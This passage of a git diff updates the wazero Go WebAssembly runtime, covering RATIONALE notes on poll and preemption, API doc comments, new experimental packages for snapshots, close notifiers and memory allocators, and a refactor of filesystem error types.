expires. It is not surprising that `select(2)` and `poll(2)` have lot in common:
|
||||
the main difference is how the file descriptor parameters are passed.
|
||||
expires.
|
||||
|
||||
Usage of `platform.Select()` is only reserved for the standard input case, because
|
||||
Usage of `syfs.poll()` is currently only reserved for standard input, because
|
||||
|
||||
1. it is really only necessary to handle interactive input: otherwise,
|
||||
there is no way in Go to peek from Standard Input without actually
|
||||
@@ -965,11 +1419,11 @@ Usage of `platform.Select()` is only reserved for the standard input case, becau
|
||||
2. if `Stdin` is connected to a pipe, it is ok in most cases to return
|
||||
with success immediately;
|
||||
|
||||
3. `platform.Select()` is currently a blocking call, irrespective of goroutines,
|
||||
3. `syfs.poll()` is currently a blocking call, irrespective of goroutines,
|
||||
because the underlying syscall is; thus, it is better to limit its usage.
|
||||
|
||||
So, if the subscription is for `os.Stdin` and the handle is detected
|
||||
to correspond to an interactive session, then `platform.Select()` will be
|
||||
to correspond to an interactive session, then `sysfs.poll()` will be
|
||||
invoked with a the `Stdin` handle *and* the timeout.
|
||||
|
||||
This also means that in this specific case, the timeout is uninterruptible,
|
||||
@@ -977,25 +1431,46 @@ unless data becomes available on `Stdin` itself.
|
||||
|
||||
### Select on Windows
|
||||
|
||||
On Windows the `platform.Select()` is much more straightforward,
|
||||
and it really just replicates the behavior found in the general cases
|
||||
for `FdRead` subscriptions: in other words, the subscription to `Stdin`
|
||||
is immediately acknowledged.
|
||||
On Windows `sysfs.poll()` cannot be delegated to a single
|
||||
syscall, because there is no single syscall to handle sockets,
|
||||
pipes and regular files.
|
||||
|
||||
The implementation also support a timeout, but in this case
|
||||
it relies on `time.Sleep()`, which notably, as compared to the POSIX
|
||||
case, interruptible and compatible with goroutines.
|
||||
Instead, we emulate its behavior for the cases that are currently
|
||||
of interest.
|
||||
|
||||
However, because `Stdin` subscriptions are always acknowledged
|
||||
without wait and because this code path is always followed only
|
||||
when at least one `Stdin` subscription is present, then the
|
||||
timeout is effectively always handled externally.
|
||||
- For regular files, we _always_ report them as ready, as
|
||||
[most operating systems do anyway][async-io-windows].
|
||||
|
||||
In any case, the behavior of `platform.Select` on Windows
|
||||
is sensibly different from the behavior on POSIX platforms;
|
||||
we plan to refine and further align it in semantics in the future.
|
||||
- For pipes, we invoke [`PeekNamedPipe`][peeknamedpipe]
|
||||
for each file handle we detect is a pipe open for reading.
|
||||
We currently ignore pipes open for writing.
|
||||
|
||||
- Notably, we include also support for sockets using the [WinSock
|
||||
implementation of `poll`][wsapoll], but instead
|
||||
of relying on the timeout argument of the `WSAPoll` function,
|
||||
we set a 0-duration timeout so that it behaves like a peek.
|
||||
|
||||
This way, we can check for regular files all at once,
|
||||
at the beginning of the function, then we poll pipes and
|
||||
sockets periodically using a cancellable `time.Tick`,
|
||||
which plays nicely with the rest of the Go runtime.
|
||||
|
||||
### Impact of blocking
|
||||
|
||||
Because this is a blocking syscall, it will also block the carrier thread of
|
||||
the goroutine, preventing any means to support context cancellation directly.
|
||||
|
||||
There are ways to obviate this issue. We outline here one idea, that is however
|
||||
not currently implemented. A common approach to support context cancellation is
|
||||
to add a signal file descriptor to the set, e.g. the read-end of a pipe or an
|
||||
eventfd on Linux. When the context is canceled, we may unblock a Select call by
|
||||
writing to the fd, causing it to return immediately. This however requires to
|
||||
do a bit of housekeeping to hide the "special" FD from the end-user.
|
||||
|
||||
[poll_oneoff]: https://github.com/WebAssembly/wasi-poll#why-is-the-function-called-poll_oneoff
|
||||
[async-io-windows]: https://tinyclouds.org/iocp_links
|
||||
[peeknamedpipe]: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe
|
||||
[wsapoll]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll
|
||||
|
||||
## Signed encoding of integer global constant initializers
|
||||
|
||||
@@ -1061,7 +1536,38 @@ If a module reaches this limit, an error is returned at the compilation phase.
|
||||
|
||||
## Compiler engine implementation
|
||||
|
||||
See [compiler/RATIONALE.md](internal/engine/compiler/RATIONALE.md).
|
||||
### Why it's safe to execute runtime-generated machine codes against async Goroutine preemption
|
||||
|
||||
Goroutine preemption is the mechanism of the Go runtime to switch goroutines contexts on an OS thread.
|
||||
There are two types of preemption: cooperative preemption and async preemption. The former happens, for example,
|
||||
when making a function call, and it is not an issue for our runtime-generated functions as they do not make
|
||||
direct function calls to Go-implemented functions. On the other hand, the latter, async preemption, can be problematic
|
||||
since it tries to interrupt the execution of Goroutine at any point of function, and manipulates CPU register states.
|
||||
|
||||
Fortunately, our runtime-generated machine codes do not need to take the async preemption into account.
|
||||
All the assembly codes are entered via the trampoline implemented as Go Assembler Function (e.g. [arch_amd64.s](./arch_amd64.s)),
|
||||
and as of Go 1.20, these assembler functions are considered as _unsafe_ for async preemption:
|
||||
- https://github.com/golang/go/blob/go1.20rc1/src/runtime/preempt.go#L406-L407
|
||||
- https://github.com/golang/go/blob/9f0234214473dfb785a5ad84a8fc62a6a395cbc3/src/runtime/traceback.go#L227
|
||||
|
||||
From the Go runtime point of view, the execution of runtime-generated machine codes is considered as a part of
|
||||
that trampoline function. Therefore, runtime-generated machine code is also correctly considered unsafe for async preemption.
|
||||
|
||||
## Why context cancellation is handled in Go code rather than native code
|
||||
|
||||
Since [wazero v1.0.0-pre.9](https://github.com/tetratelabs/wazero/releases/tag/v1.0.0-pre.9), the runtime
|
||||
supports integration with Go contexts to interrupt execution after a timeout, or in response to explicit cancellation.
|
||||
This support is internally implemented as a special opcode `builtinFunctionCheckExitCode` that triggers the execution of
|
||||
a Go function (`ModuleInstance.FailIfClosed`) that atomically checks a sentinel value at strategic points in the code
|
||||
(e.g. [within loops][checkexitcode_loop]).
|
||||
|
||||
[It _is indeed_ possible to check the sentinel value directly, without leaving the native world][native_check], thus sparing some cycles;
|
||||
however, because native code never preempts (see section above), this may lead to a state where the other goroutines
|
||||
never get the chance to run, and thus never get the chance to set the sentinel value; effectively preventing
|
||||
cancellation from taking place.
|
||||
|
||||
[checkexitcode_loop]: https://github.com/tetratelabs/wazero/blob/86444c67a37dbf9e693ae5b365901f64968d9025/internal/wazeroir/compiler.go#L467-L476
|
||||
[native_check]: https://github.com/tetratelabs/wazero/issues/1409
|
||||
|
||||
## Golang patterns
|
||||
|
||||
|
||||
+1
-4
@@ -41,8 +41,6 @@ during `Runtime.CompileModule`. This means your WebAssembly functions execute
|
||||
natively at runtime. Compiler is faster than Interpreter, often by order of
|
||||
magnitude (10x) or more. This is done without host-specific dependencies.
|
||||
|
||||
If interested, check out the [RATIONALE.md][8] and help us optimize further!
|
||||
|
||||
### Conformance
|
||||
|
||||
Both runtimes pass WebAssembly Core [1.0][7] and [2.0][14] specification tests
|
||||
@@ -55,7 +53,7 @@ on supported platforms:
|
||||
|
||||
## Support Policy
|
||||
|
||||
The below support policy focuses on compatability concerns of those embedding
|
||||
The below support policy focuses on compatibility concerns of those embedding
|
||||
wazero into their Go applications.
|
||||
|
||||
### wazero
|
||||
@@ -123,7 +121,6 @@ wazero is a registered trademark of Tetrate.io, Inc. in the United States and/or
|
||||
[5]: https://github.com/WebAssembly/WASI
|
||||
[6]: https://pkg.go.dev/golang.org/x/sys/unix
|
||||
[7]: https://github.com/WebAssembly/spec/tree/wg-1.0/test/core
|
||||
[8]: internal/engine/compiler/RATIONALE.md
|
||||
[9]: https://github.com/tetratelabs/wazero/issues/506
|
||||
[10]: https://go.dev/doc/devel/release
|
||||
[11]: https://github.com/actions/virtual-environments
|
||||
|
||||
+2
@@ -143,6 +143,8 @@ const (
|
||||
// Note: The instruction list is too long to enumerate in godoc.
|
||||
// See https://github.com/WebAssembly/spec/blob/wg-2.0.draft1/proposals/simd/SIMD.md
|
||||
CoreFeatureSIMD
|
||||
|
||||
// Update experimental/features.go when adding elements here.
|
||||
)
|
||||
|
||||
// SetEnabled enables or disables the feature or group of features.
|
||||
|
||||
+29
-3
@@ -150,6 +150,10 @@ type Module interface {
|
||||
Memory() Memory
|
||||
|
||||
// ExportedFunction returns a function exported from this module or nil if it wasn't.
|
||||
//
|
||||
// Note: The default wazero.ModuleConfig attempts to invoke `_start`, which
|
||||
// in rare cases can close the module. When in doubt, check IsClosed prior
|
||||
// to invoking a function export after instantiation.
|
||||
ExportedFunction(name string) Function
|
||||
|
||||
// ExportedFunctionDefinitions returns all the exported function
|
||||
@@ -190,6 +194,21 @@ type Module interface {
|
||||
// Closer closes this module by delegating to CloseWithExitCode with an exit code of zero.
|
||||
Closer
|
||||
|
||||
// IsClosed returns true if the module is closed, so no longer usable.
|
||||
//
|
||||
// This can happen for the following reasons:
|
||||
// - Closer was called directly.
|
||||
// - A guest function called Closer indirectly, such as `_start` calling
|
||||
// `proc_exit`, which internally closed the module.
|
||||
// - wazero.RuntimeConfig `WithCloseOnContextDone` was enabled and a
|
||||
// context completion closed the module.
|
||||
//
|
||||
// Where any of the above are possible, check this value before calling an
|
||||
// ExportedFunction, even if you didn't formerly receive a sys.ExitError.
|
||||
// sys.ExitError is only returned on non-zero code, something that closes
|
||||
// the module successfully will not result it one.
|
||||
IsClosed() bool
|
||||
|
||||
internalapi.WazeroOnly
|
||||
}
|
||||
|
||||
@@ -355,6 +374,7 @@ type Function interface {
|
||||
// Call is not goroutine-safe, therefore it is recommended to create
|
||||
// another Function if you want to invoke the same function concurrently.
|
||||
// On the other hand, sequential invocations of Call is allowed.
|
||||
// However, this should not be called multiple times until the previous Call returns.
|
||||
//
|
||||
// To safely encode/decode params/results expressed as uint64, users are encouraged to
|
||||
// use api.EncodeXXX or DecodeXXX functions. See the docs on api.ValueType.
|
||||
@@ -539,8 +559,14 @@ type Memory interface {
|
||||
// Definition is metadata about this memory from its defining module.
|
||||
Definition() MemoryDefinition
|
||||
|
||||
// Size returns the size in bytes available. e.g. If the underlying memory
|
||||
// has 1 page: 65536
|
||||
// Size returns the memory size in bytes available.
|
||||
// e.g. If the underlying memory has 1 page: 65536
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This overflows (returns zero) if the memory has the maximum 65536 pages.
|
||||
// As a workaround until wazero v2 to fix the return type, use Grow(0) to obtain the current pages and
|
||||
// multiply by 65536.
|
||||
//
|
||||
// See https://www.w3.org/TR/2019/REC-wasm-core-1-20191205/#-hrefsyntax-instr-memorymathsfmemorysize%E2%91%A0
|
||||
Size() uint32
|
||||
@@ -552,7 +578,7 @@ type Memory interface {
|
||||
// # Notes
|
||||
//
|
||||
// - This is the same as the "memory.grow" instruction defined in the
|
||||
// WebAssembly Core Specification, except returns false instead of -1.
|
||||
// WebAssembly Core Specification, except returns false instead of -1.
|
||||
// - When this returns true, any shared views via Read must be refreshed.
|
||||
//
|
||||
// See MemorySizer Read and https://www.w3.org/TR/2019/REC-wasm-core-1-20191205/#grow-mem
|
||||
|
||||
+19
-13
@@ -11,10 +11,10 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/internal/engine/compiler"
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/engine/interpreter"
|
||||
"github.com/tetratelabs/wazero/internal/engine/wazevo"
|
||||
"github.com/tetratelabs/wazero/internal/filecache"
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
"github.com/tetratelabs/wazero/internal/internalapi"
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
internalsock "github.com/tetratelabs/wazero/internal/sock"
|
||||
@@ -157,7 +157,7 @@ type RuntimeConfig interface {
|
||||
// This is especially useful when one wants to run untrusted Wasm binaries since otherwise, any invocation of
|
||||
// api.Function can potentially block the corresponding Goroutine forever. Moreover, it might block the
|
||||
// entire underlying OS thread which runs the api.Function call. See "Why it's safe to execute runtime-generated
|
||||
// machine codes against async Goroutine preemption" section in internal/engine/compiler/RATIONALE.md for detail.
|
||||
// machine codes against async Goroutine preemption" section in RATIONALE.md for detail.
|
||||
//
|
||||
// Note that this comes with a bit of extra cost when enabled. The reason is that internally this forces
|
||||
// interpreter and compiler runtimes to insert the periodical checks on the conditions above. For that reason,
|
||||
@@ -223,7 +223,7 @@ const (
|
||||
func NewRuntimeConfigCompiler() RuntimeConfig {
|
||||
ret := engineLessConfig.clone()
|
||||
ret.engineKind = engineKindCompiler
|
||||
ret.newEngine = compiler.NewEngine
|
||||
ret.newEngine = wazevo.NewEngine
|
||||
return ret
|
||||
}
|
||||
|
||||
@@ -490,12 +490,19 @@ type ModuleConfig interface {
|
||||
// WithStartFunctions configures the functions to call after the module is
|
||||
// instantiated. Defaults to "_start".
|
||||
//
|
||||
// Clearing the default is supported, via `WithStartFunctions()`.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - If any function doesn't exist, it is skipped. However, all functions
|
||||
// that do exist are called in order.
|
||||
// - Some start functions may exit the module during instantiate with a
|
||||
// sys.ExitError (e.g. emscripten), preventing use of exported functions.
|
||||
// - If a start function doesn't exist, it is skipped. However, any that
|
||||
// do exist are called in order.
|
||||
// - Start functions are not intended to be called multiple times.
|
||||
// Functions that should be called multiple times should be invoked
|
||||
// manually via api.Module's `ExportedFunction` method.
|
||||
// - Start functions commonly exit the module during instantiation,
|
||||
// preventing use of any functions later. This is the case in "wasip1",
|
||||
// which defines the default value "_start".
|
||||
// - See /RATIONALE.md for motivation of this feature.
|
||||
WithStartFunctions(...string) ModuleConfig
|
||||
|
||||
// WithStderr configures where standard error (file descriptor 2) is written. Defaults to io.Discard.
|
||||
@@ -839,11 +846,10 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) {
|
||||
environ = append(environ, result)
|
||||
}
|
||||
|
||||
var fs fsapi.FS
|
||||
var fs []experimentalsys.FS
|
||||
var guestPaths []string
|
||||
if f, ok := c.fsConfig.(*fsConfig); ok {
|
||||
if fs, err = f.toFS(); err != nil {
|
||||
return
|
||||
}
|
||||
fs, guestPaths = f.preopens()
|
||||
}
|
||||
|
||||
var listeners []*net.TCPListener
|
||||
@@ -864,7 +870,7 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) {
|
||||
c.walltime, c.walltimeResolution,
|
||||
c.nanotime, c.nanotimeResolution,
|
||||
c.nanosleep, c.osyield,
|
||||
fs,
|
||||
fs, guestPaths,
|
||||
listeners,
|
||||
)
|
||||
}
|
||||
BIN
Binary file not shown.
+48
@@ -0,0 +1,48 @@
|
||||
package experimental
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/expctxkeys"
|
||||
)
|
||||
|
||||
// Snapshot holds the execution state at the time of a Snapshotter.Snapshot call.
|
||||
type Snapshot interface {
|
||||
// Restore sets the Wasm execution state to the capture. Because a host function
|
||||
// calling this is resetting the pointer to the executation stack, the host function
|
||||
// will not be able to return values in the normal way. ret is a slice of values the
|
||||
// host function intends to return from the restored function.
|
||||
Restore(ret []uint64)
|
||||
}
|
||||
|
||||
// Snapshotter allows host functions to snapshot the WebAssembly execution environment.
|
||||
type Snapshotter interface {
|
||||
// Snapshot captures the current execution state.
|
||||
Snapshot() Snapshot
|
||||
}
|
||||
|
||||
// EnableSnapshotterKey is a context key to indicate that snapshotting should be enabled.
|
||||
// The context.Context passed to a exported function invocation should have this key set
|
||||
// to a non-nil value, and host functions will be able to retrieve it using SnapshotterKey.
|
||||
//
|
||||
// Deprecated: use WithSnapshotter to enable snapshots.
|
||||
type EnableSnapshotterKey = expctxkeys.EnableSnapshotterKey
|
||||
|
||||
// WithSnapshotter enables snapshots.
|
||||
// Passing the returned context to a exported function invocation enables snapshots,
|
||||
// and allows host functions to retrieve the Snapshotter using GetSnapshotter.
|
||||
func WithSnapshotter(ctx context.Context) context.Context {
|
||||
return context.WithValue(ctx, expctxkeys.EnableSnapshotterKey{}, struct{}{})
|
||||
}
|
||||
|
||||
// SnapshotterKey is a context key to access a Snapshotter from a host function.
|
||||
// It is only present if EnableSnapshotter was set in the function invocation context.
|
||||
//
|
||||
// Deprecated: use GetSnapshotter to get the snapshotter.
|
||||
type SnapshotterKey = expctxkeys.SnapshotterKey
|
||||
|
||||
// GetSnapshotter gets the Snapshotter from a host function.
|
||||
// It is only present if WithSnapshotter was called with the function invocation context.
|
||||
func GetSnapshotter(ctx context.Context) Snapshotter {
|
||||
return ctx.Value(expctxkeys.SnapshotterKey{}).(Snapshotter)
|
||||
}
|
||||
+63
@@ -0,0 +1,63 @@
|
||||
package experimental
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/expctxkeys"
|
||||
)
|
||||
|
||||
// CloseNotifier is a notification hook, invoked when a module is closed.
|
||||
//
|
||||
// Note: This is experimental progress towards #1197, and likely to change. Do
|
||||
// not expose this in shared libraries as it can cause version locks.
|
||||
type CloseNotifier interface {
|
||||
// CloseNotify is a notification that occurs *before* an api.Module is
|
||||
// closed. `exitCode` is zero on success or in the case there was no exit
|
||||
// code.
|
||||
//
|
||||
// Notes:
|
||||
// - This does not return an error because the module will be closed
|
||||
// unconditionally.
|
||||
// - Do not panic from this function as it doing so could cause resource
|
||||
// leaks.
|
||||
// - While this is only called once per module, if configured for
|
||||
// multiple modules, it will be called for each, e.g. on runtime close.
|
||||
CloseNotify(ctx context.Context, exitCode uint32)
|
||||
}
|
||||
|
||||
// ^-- Note: This might need to be a part of the listener or become a part of
|
||||
// host state implementation. For example, if this is used to implement state
|
||||
// cleanup for host modules, possibly something like below would be better, as
|
||||
// it could be implemented in a way that allows concurrent module use.
|
||||
//
|
||||
// // key is like a context key, stateFactory is invoked per instantiate and
|
||||
// // is associated with the key (exposed as `Module.State` similar to go
|
||||
// // context). Using a key is better than the module name because we can
|
||||
// // de-dupe it for host modules that can be instantiated into different
|
||||
// // names. Also, you can make the key package private.
|
||||
// HostModuleBuilder.WithState(key any, stateFactory func() Cleanup)`
|
||||
//
|
||||
// Such a design could work to isolate state only needed for wasip1, for
|
||||
// example the dirent cache. However, if end users use this for different
|
||||
// things, we may need separate designs.
|
||||
//
|
||||
// In summary, the purpose of this iteration is to identify projects that
|
||||
// would use something like this, and then we can figure out which way it
|
||||
// should go.
|
||||
|
||||
// CloseNotifyFunc is a convenience for defining inlining a CloseNotifier.
|
||||
type CloseNotifyFunc func(ctx context.Context, exitCode uint32)
|
||||
|
||||
// CloseNotify implements CloseNotifier.CloseNotify.
|
||||
func (f CloseNotifyFunc) CloseNotify(ctx context.Context, exitCode uint32) {
|
||||
f(ctx, exitCode)
|
||||
}
|
||||
|
||||
// WithCloseNotifier registers the given CloseNotifier into the given
|
||||
// context.Context.
|
||||
func WithCloseNotifier(ctx context.Context, notifier CloseNotifier) context.Context {
|
||||
if notifier != nil {
|
||||
return context.WithValue(ctx, expctxkeys.CloseNotifierKey{}, notifier)
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
package experimental
|
||||
|
||||
import "github.com/tetratelabs/wazero/api"
|
||||
|
||||
// CoreFeaturesThreads enables threads instructions ("threads").
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - The instruction list is too long to enumerate in godoc.
|
||||
// See https://github.com/WebAssembly/threads/blob/main/proposals/threads/Overview.md
|
||||
// - Atomic operations are guest-only until api.Memory or otherwise expose them to host functions.
|
||||
// - On systems without mmap available, the memory will pre-allocate to the maximum size. Many
|
||||
// binaries will use a theroetical maximum like 4GB, so if using such a binary on a system
|
||||
// without mmap, consider editing the binary to reduce the max size setting of memory.
|
||||
const CoreFeaturesThreads = api.CoreFeatureSIMD << 1
|
||||
+15
-46
@@ -4,6 +4,7 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/internal/expctxkeys"
|
||||
)
|
||||
|
||||
// StackIterator allows iterating on each function of the call stack, starting
|
||||
@@ -21,16 +22,19 @@ type StackIterator interface {
|
||||
// ProgramCounter returns the program counter associated with the
|
||||
// function call.
|
||||
ProgramCounter() ProgramCounter
|
||||
// Parameters returns api.ValueType-encoded parameters of the current
|
||||
// function. Do not modify the content of the slice, and copy out any
|
||||
// value you need.
|
||||
Parameters() []uint64
|
||||
}
|
||||
|
||||
// FunctionListenerFactoryKey is a context.Context Value key. Its associated value should be a FunctionListenerFactory.
|
||||
// FunctionListenerFactoryKey is a context.Context Value key.
|
||||
// Its associated value should be a FunctionListenerFactory.
|
||||
//
|
||||
// See https://github.com/tetratelabs/wazero/issues/451
|
||||
type FunctionListenerFactoryKey struct{}
|
||||
// Deprecated: use WithFunctionListenerFactory to enable snapshots.
|
||||
type FunctionListenerFactoryKey = expctxkeys.FunctionListenerFactoryKey
|
||||
|
||||
// WithFunctionListenerFactory registers a FunctionListenerFactory
|
||||
// with the context.
|
||||
func WithFunctionListenerFactory(ctx context.Context, factory FunctionListenerFactory) context.Context {
|
||||
return context.WithValue(ctx, expctxkeys.FunctionListenerFactoryKey{}, factory)
|
||||
}
|
||||
|
||||
// FunctionListenerFactory returns FunctionListeners to be notified when a
|
||||
// function is called.
|
||||
@@ -194,48 +198,21 @@ func (multi *multiFunctionListener) Abort(ctx context.Context, mod api.Module, d
|
||||
}
|
||||
}
|
||||
|
||||
type parameters struct {
|
||||
values []uint64
|
||||
limits []uint8
|
||||
}
|
||||
|
||||
func (ps *parameters) append(values []uint64) {
|
||||
ps.values = append(ps.values, values...)
|
||||
ps.limits = append(ps.limits, uint8(len(ps.values)))
|
||||
}
|
||||
|
||||
func (ps *parameters) clear() {
|
||||
ps.values = ps.values[:0]
|
||||
ps.limits = ps.limits[:0]
|
||||
}
|
||||
|
||||
func (ps *parameters) index(i int) []uint64 {
|
||||
j := uint8(0)
|
||||
k := ps.limits[i]
|
||||
if i > 0 {
|
||||
j = ps.limits[i-1]
|
||||
}
|
||||
return ps.values[j:k:k]
|
||||
}
|
||||
|
||||
type stackIterator struct {
|
||||
base StackIterator
|
||||
index int
|
||||
pcs []uint64
|
||||
fns []InternalFunction
|
||||
params parameters
|
||||
base StackIterator
|
||||
index int
|
||||
pcs []uint64
|
||||
fns []InternalFunction
|
||||
}
|
||||
|
||||
func (si *stackIterator) Next() bool {
|
||||
if si.base != nil {
|
||||
si.pcs = si.pcs[:0]
|
||||
si.fns = si.fns[:0]
|
||||
si.params.clear()
|
||||
|
||||
for si.base.Next() {
|
||||
si.pcs = append(si.pcs, uint64(si.base.ProgramCounter()))
|
||||
si.fns = append(si.fns, si.base.Function())
|
||||
si.params.append(si.base.Parameters())
|
||||
}
|
||||
|
||||
si.base = nil
|
||||
@@ -252,10 +229,6 @@ func (si *stackIterator) Function() InternalFunction {
|
||||
return si.fns[si.index]
|
||||
}
|
||||
|
||||
func (si *stackIterator) Parameters() []uint64 {
|
||||
return si.params.index(si.index)
|
||||
}
|
||||
|
||||
// StackFrame represents a frame on the call stack.
|
||||
type StackFrame struct {
|
||||
Function api.Function
|
||||
@@ -302,10 +275,6 @@ func (si *stackFrameIterator) ProgramCounter() ProgramCounter {
|
||||
return ProgramCounter(si.stack[si.index].PC)
|
||||
}
|
||||
|
||||
func (si *stackFrameIterator) Parameters() []uint64 {
|
||||
return si.stack[si.index].Params
|
||||
}
|
||||
|
||||
// NewStackIterator constructs a stack iterator from a list of stack frames.
|
||||
// The top most frame is the last one.
|
||||
func NewStackIterator(stack ...StackFrame) StackIterator {
|
||||
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
package experimental
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/expctxkeys"
|
||||
)
|
||||
|
||||
// MemoryAllocator is a memory allocation hook,
|
||||
// invoked to create a LinearMemory.
|
||||
type MemoryAllocator interface {
|
||||
// Allocate should create a new LinearMemory with the given specification:
|
||||
// cap is the suggested initial capacity for the backing []byte,
|
||||
// and max the maximum length that will ever be requested.
|
||||
//
|
||||
// Notes:
|
||||
// - To back a shared memory, the address of the backing []byte cannot
|
||||
// change. This is checked at runtime. Implementations should document
|
||||
// if the returned LinearMemory meets this requirement.
|
||||
Allocate(cap, max uint64) LinearMemory
|
||||
}
|
||||
|
||||
// MemoryAllocatorFunc is a convenience for defining inlining a MemoryAllocator.
|
||||
type MemoryAllocatorFunc func(cap, max uint64) LinearMemory
|
||||
|
||||
// Allocate implements MemoryAllocator.Allocate.
|
||||
func (f MemoryAllocatorFunc) Allocate(cap, max uint64) LinearMemory {
|
||||
return f(cap, max)
|
||||
}
|
||||
|
||||
// LinearMemory is an expandable []byte that backs a Wasm linear memory.
|
||||
type LinearMemory interface {
|
||||
// Reallocates the linear memory to size bytes in length.
|
||||
//
|
||||
// Notes:
|
||||
// - To back a shared memory, Reallocate can't change the address of the
|
||||
// backing []byte (only its length/capacity may change).
|
||||
Reallocate(size uint64) []byte
|
||||
// Free the backing memory buffer.
|
||||
Free()
|
||||
}
|
||||
|
||||
// WithMemoryAllocator registers the given MemoryAllocator into the given
|
||||
// context.Context.
|
||||
func WithMemoryAllocator(ctx context.Context, allocator MemoryAllocator) context.Context {
|
||||
if allocator != nil {
|
||||
return context.WithValue(ctx, expctxkeys.MemoryAllocatorKey{}, allocator)
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
Generated
Vendored
+15
-32
@@ -1,11 +1,9 @@
|
||||
package fsapi
|
||||
package sys
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"time"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
@@ -22,7 +20,7 @@ type FileType = fs.FileMode
|
||||
// - This extends `dirent` defined in POSIX with some fields defined by
|
||||
// Linux. See https://man7.org/linux/man-pages/man3/readdir.3.html and
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/dirent.h.html
|
||||
// - This has a subset of fields defined in Stat_t. Notably, there is no
|
||||
// - This has a subset of fields defined in sys.Stat_t. Notably, there is no
|
||||
// field corresponding to Stat_t.Dev because that value will be constant
|
||||
// for all files in a directory. To get the Dev value, call File.Stat on
|
||||
// the directory File.Readdir was called on.
|
||||
@@ -59,51 +57,36 @@ func (DirFile) IsAppend() bool {
|
||||
}
|
||||
|
||||
// SetAppend implements File.SetAppend
|
||||
func (DirFile) SetAppend(bool) experimentalsys.Errno {
|
||||
return experimentalsys.EISDIR
|
||||
}
|
||||
|
||||
// IsNonblock implements File.IsNonblock
|
||||
func (DirFile) IsNonblock() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// SetNonblock implements File.SetNonblock
|
||||
func (DirFile) SetNonblock(bool) experimentalsys.Errno {
|
||||
return experimentalsys.EISDIR
|
||||
func (DirFile) SetAppend(bool) Errno {
|
||||
return EISDIR
|
||||
}
|
||||
|
||||
// IsDir implements File.IsDir
|
||||
func (DirFile) IsDir() (bool, experimentalsys.Errno) {
|
||||
func (DirFile) IsDir() (bool, Errno) {
|
||||
return true, 0
|
||||
}
|
||||
|
||||
// Read implements File.Read
|
||||
func (DirFile) Read([]byte) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.EISDIR
|
||||
func (DirFile) Read([]byte) (int, Errno) {
|
||||
return 0, EISDIR
|
||||
}
|
||||
|
||||
// Pread implements File.Pread
|
||||
func (DirFile) Pread([]byte, int64) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.EISDIR
|
||||
}
|
||||
|
||||
// PollRead implements File.PollRead
|
||||
func (DirFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) {
|
||||
return false, experimentalsys.ENOSYS
|
||||
func (DirFile) Pread([]byte, int64) (int, Errno) {
|
||||
return 0, EISDIR
|
||||
}
|
||||
|
||||
// Write implements File.Write
|
||||
func (DirFile) Write([]byte) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.EISDIR
|
||||
func (DirFile) Write([]byte) (int, Errno) {
|
||||
return 0, EISDIR
|
||||
}
|
||||
|
||||
// Pwrite implements File.Pwrite
|
||||
func (DirFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.EISDIR
|
||||
func (DirFile) Pwrite([]byte, int64) (int, Errno) {
|
||||
return 0, EISDIR
|
||||
}
|
||||
|
||||
// Truncate implements File.Truncate
|
||||
func (DirFile) Truncate(int64) experimentalsys.Errno {
|
||||
return experimentalsys.EISDIR
|
||||
func (DirFile) Truncate(int64) Errno {
|
||||
return EISDIR
|
||||
}
|
||||
+98
@@ -0,0 +1,98 @@
|
||||
package sys
|
||||
|
||||
import "strconv"
|
||||
|
||||
// Errno is a subset of POSIX errno used by wazero interfaces. Zero is not an
|
||||
// error. Other values should not be interpreted numerically, rather by constants
|
||||
// prefixed with 'E'.
|
||||
//
|
||||
// See https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/errno.h.html
|
||||
type Errno uint16
|
||||
|
||||
// ^-- Note: This will eventually move to the public /sys package. It is
|
||||
// experimental until we audit the socket related APIs to ensure we have all
|
||||
// the Errno it returns, and we export fs.FS. This is not in /internal/sys as
|
||||
// that would introduce a package cycle.
|
||||
|
||||
// This is a subset of errors to reduce implementation burden. `wasip1` defines
|
||||
// almost all POSIX error numbers, but not all are used in practice. wazero
|
||||
// will add ones needed in POSIX order, as needed by functions that explicitly
|
||||
// document returning them.
|
||||
//
|
||||
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-errno-enumu16
|
||||
const (
|
||||
EACCES Errno = iota + 1
|
||||
EAGAIN
|
||||
EBADF
|
||||
EEXIST
|
||||
EFAULT
|
||||
EINTR
|
||||
EINVAL
|
||||
EIO
|
||||
EISDIR
|
||||
ELOOP
|
||||
ENAMETOOLONG
|
||||
ENOENT
|
||||
